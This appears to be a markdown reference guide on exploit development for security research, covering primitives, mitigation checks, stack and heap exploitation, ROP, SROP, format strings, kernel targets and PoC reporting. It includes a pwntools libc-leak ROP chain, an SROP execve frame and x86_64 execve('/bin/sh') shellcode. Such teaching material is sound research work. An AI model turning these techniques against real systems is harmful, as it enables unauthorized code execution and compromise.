References
Exploit development
An exploit is a controlled transition from a bug to a useful primitive, then from the primitive to an impact. The bug gives you a write, a read, or a state change. The exploit makes it repeatable and steers it to a target.
This guide covers the path after triage. Bug discovery is in vulnerability-research.md. Fuzzing is in fuzzing.md.
Start with the primitive#
| Primitive | Typical source | Next question |
|---|---|---|
| Controlled stack write | Stack overflow | Return address, canary, NX |
| Controlled heap write | Heap overflow, UAF | Adjacent object, allocator metadata |
| Controlled free | Double free, UAF | What replaces the object |
| Arbitrary read | OOB read, format string, uninitialized memory | What leaks, and where is the pointer |
| Relative write | Off-by-one, index bug | What field is one byte away |
| Type confusion | Wrong cast | Which field is reinterpreted |
| Race | Check/use gap | Can the window be widened |
Write the primitive in one sentence before building the chain. "One byte null write past a heap chunk" is a primitive. "Heap overflow" is a class.
Method#
- Reproduce with the smallest input.
- Map the mitigations.
- Find the crash offset and the controlled bytes.
- Find a leak if ASLR or PIE is on.
- Build the first control transfer.
- Defeat the next mitigation.
- Make it reliable.
- Write the PoC and the explanation.
Stop as soon as the agreed proof is reached. A shell is nice; a controlled RIP with a clear path is often enough for a report.
Mitigation check#
checksec --file=./target
readelf -hW ./target | grep Type
readelf -lW ./target | grep GNU_STACK
readelf -dW ./target | grep -E "BIND_NOW|RPATH|RUNPATH"
On Windows:
dumpbin /headers target.exe | findstr /i "DynamicBase NXCompat Guard"
Record every result. A bypass that assumes NX off fails on the target.
Stack overflow#
Offset#
gdb -q ./target
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*300)')
(gdb) info registers rip rsp
Use a cyclic pattern:
python3 -c 'from pwn import *; print(cyclic(300).decode())' > pattern.txt
gdb -q ./target -ex 'run < pattern.txt' -ex 'info registers rip'
python3 -c 'from pwn import *; print(cyclic_find(0x6161616c))'
Canary#
A canary sits between the buffer and the return address. Options:
- Leak it through a format string or an OOB read.
- Brute force a byte at a time if the process restarts with the same canary and a crash oracle exists.
- Overwrite a target before the canary: a function pointer, a saved frame in another thread, or an exception handler.
NX#
With NX on, return to existing code.
ret2libc: return to system, with /bin/sh as the argument. Needs a libc base leak.
ret2plt: call a PLT stub for a function whose GOT entry is resolved. The 0x00sec ret2plt article in the artifact catalog walks through the GOT and PLT layout.
ROP: chain gadgets.
ROPgadget --binary ./target --only "pop|ret"
ropper --file ./target --search "pop rdi"
x86_64 argument order: rdi, rsi, rdx, rcx, r8, r9. A pop rdi; ret gadget plus a writable location for /bin/sh is the classic chain.
from pwn import *
elf = ELF("./target"); libc = ELF("./libc.so.6")
rop = ROP(elf)
rop.call(elf.plt["puts"], [elf.got["puts"]])
rop.call(elf.symbols["main"])
p = process("./target")
p.sendlineafter(b"> ", flat({72: rop.chain()}))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]
...
PIE and ASLR#
- Leak a code pointer, then compute the base.
- Partial overwrite the low 12 bits of a return address when the target is in the same page.
- Use a non-PIE module loaded at a fixed address.
- Brute force when the entropy is low and the process survives.
SROP#
A sigreturn frame sets every register at once. It needs a syscall gadget and rax=15.
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
JOP and CFG#
With Control Flow Guard or CET, indirect calls must land on valid targets. Look for call-preceded gadgets, mov rax, [..]; call rax patterns, and dispatcher functions. Data-only attacks (overwrite a length or a pointer) avoid the problem entirely.
Heap#
Heap exploitation is allocator-specific. Identify the allocator and the version first.
glibc#
tcacheper size, LIFO, 7 entries by default.- Safe-linking XORs the next pointer with the chunk address shifted by 12.
- Fastbins, unsorted bin, small and large bins each have their own checks.
mallocandfreehooks were removed in glibc 2.34. Use__free_hookonly on older versions.
Classic steps:
- Get a leak of the heap or libc.
- Create an overlap or a fake chunk.
- Poison a tcache or fastbin entry.
- Allocate over a target: GOT,
_IO_2_1_stdout_,__malloc_hook, a function pointer. - Trigger the call.
Useful tools: pwndbg heap commands, gef, how2heap, malloc_trace.
Windows#
- Segment Heap on modern Windows, LFH on older.
- Front-end metadata is the usual target.
VirtualProtector aJITregion turns a write into execution.- CFG and XFG constrain indirect calls.
- CET shadow stack turns a return-address overwrite into a JOP problem.
Use !heap, !address, and !chkimg in WinDbg. Record the Windows build.
UAF#
- Free the object.
- Allocate a same-size object with controlled bytes.
- Trigger the stale reference.
- If a vtable is used, point it at a fake table.
With modern C++ the free is often in a callback or a refcount path. Trace the refcount, not the allocation.
Integer bugs#
Look at the size math:
size * countoverflow beforemalloc.- Signed length compared with an unsigned bound.
- Truncation from 64 to 32 bits at an IPC boundary.
- Negative index added to a pointer.
Prove the small allocation and the large copy separately.
Format string#
%p %p %p leak stack words
%7$p direct position
%s read a pointer as string
%n write the count
%hhn one byte
pwntools FmtStr automates offset finding and writes. On 64-bit, arguments live in registers, so positional arguments start after the saved registers.
Shellcode#
- Position independent:
call/pop, RIP-relative, no absolute addresses. - No null bytes when the copy path stops at a null.
- Staged payload for small buffers.
- Windows API resolution via the PEB walk,
GetProcAddress,LoadLibraryA. - Linux
execve("/bin/sh", 0, 0)in 23 bytes for x86_64.
xor rsi, rsi
push rsi
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor rdx, rdx
push 59
pop rax
syscall
Build with nasm, extract with objcopy, test in a small C loader.
Reliability#
- Pin the target build and libc.
- Disable ASLR only for local testing; record both results.
- Run the exploit 20 times. A 50 percent success rate is not a PoC.
- Handle null bytes, newline, and length limits in the transport.
- Add timeouts and a clean exit.
- Log each stage so a failure is diagnosable.
Kernel#
- KASLR, SMEP, SMAP, KPTI, CFI, and MTE change the chain.
- A leak is usually mandatory.
- Common targets:
modprobe_path,core_pattern,credstruct, page tables,native_write_cr4. - A data-only attack is often more reliable than a ROP chain.
- Test in a VM with snapshots. A kernel crash takes the box down.
Modern constraints#
| Feature | Effect |
|---|---|
| CET shadow stack | Return address overwrite alone is not enough |
| CFG / XFG | Indirect call targets are validated |
| MTE | Pointer tags catch UAF and OOB on ARM |
| Heap cookies | Metadata corruption needs a leak |
| VBS / HVCI | Kernel code integrity limits patching |
When a mitigation blocks the classic path, look for a data-only primitive: a length, a flag, a pointer used later, or a permission field.
PoC layout#
poc/
README.md # target, version, hash, expected result
poc.py # pwntools or requests
payload.bin # if separate
run.sh # one command to reproduce
notes.md # offsets, leaks, failures
The README states the exact build. A PoC against the wrong version is a rumor.
Report the chain#
- Bug and root cause.
- Primitive, in one sentence.
- Mitigations and how each is bypassed.
- Reliability over 20 runs.
- Impact: code execution, sandbox escape, privilege level.
- Patch or mitigation advice.
A crash plus a controlled register is a valid finding. Say what is proven and what is inferred.
Sources#
SnailSploit/Claude-Redexploit development, shellcode, mitigations, Windows boundariesskerkour/black-hat-rustexploit code in Rust- 0x00sec PIE and ret2plt series
how2heappwndbgandgefdocumentation- PortSwigger race condition research for web-side primitives